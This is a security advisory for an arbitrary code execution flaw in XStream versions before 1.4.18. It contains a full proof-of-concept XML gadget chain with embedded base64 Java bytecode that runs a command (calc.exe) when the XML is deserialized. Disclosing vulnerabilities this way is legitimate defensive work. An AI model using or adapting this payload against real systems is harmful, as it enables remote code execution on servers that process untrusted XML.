Arbitrary Code Execution Affecting com.thoughtworks.xstream:xstream package, versions [,1.4.18)

com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.

Affected versions of this package are vulnerable to Arbitrary Code Execution. This vulnerability may allow a remote attacker to load and execute arbitrary code from a remote host only by manipulating the processed input stream. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types. XStream 1.4.18 uses no longer a blacklist by default, since it cannot be secured for general purpose.

PoC

<linked-hash-set>
  <dynamic-proxy>
    <interface>map</interface>
    <handler class='com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl'>
      <classToInvocationHandler class='linked-hash-map'/>
      <defaultHandler class='sun.tracing.NullProvider'>
        <active>true</active>
        <providerType>java.lang.Object</providerType>
        <probes>
          <entry>
            <method>
              <class>java.lang.Object</class>
              <name>hashCode</name>
              <parameter-types/>
            </method>
            <sun.tracing.dtrace.DTraceProbe>
              <proxy class='com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl' serialization='custom'/>
                <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
                  <default>
                    <__name>Pwnr</__name>
                    <__bytecodes>
                      <byte-array>yv66vgAAADIAOQoAAwAiBwA3BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQA1THlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAJwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAoAQAzeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHACoBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAsAC0KACsALgEACGNhbGMuZXhlCAAwAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAMgAzCgArADQBAA1TdGFja01hcFRhYmxlAQAbeXNvc2VyaWFsL1B3bmVyNjMzNTA1NjA2NTkzAQAdTHlzb3NlcmlhbC9Qd25lcjYzMzUwNTYwNjU5MzsAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAvAA4AAAAMAAEAAAAFAA8AOAAAAAEAEwAUAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAA0AA4AAAAgAAMAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAFwAYAAIAGQAAAAQAAQAaAAEAEwAbAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAA4AA4AAAAqAAQAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAHAAdAAIAAAABAB4AHwADABkAAAAEAAEAGgAIACkACwABAAwAAAAkAAMAAgAAAA+nAAMBTLgALxIxtgA1V7EAAAABADYAAAADAAEDAAIAIAAAAAIAIQARAAAACgABAAIAIwAQAAk=</byte-array>
                      <byte-array>yv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPAAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJ</byte-array>
                    </__bytecodes>
                    <__transletIndex>-1</__transletIndex>
                    <__indentNumber>0</__indentNumber>
                  </default>
                </com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
              </proxy>
              <implementing__method>
                <class>com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl</class>
                <name>getOutputProperties</name>
                <parameter-types/>
              </implementing__method>
            </sun.tracing.dtrace.DTraceProbe>
          </entry>
        </probes>
      </defaultHandler>
    </handler>
  </dynamic-proxy>
</linked-hash-set>

XStream xstream = new XStream();
xstream.fromXML(xml);

• GitHub Advisory
• XStream Advisory
• XStream Changelog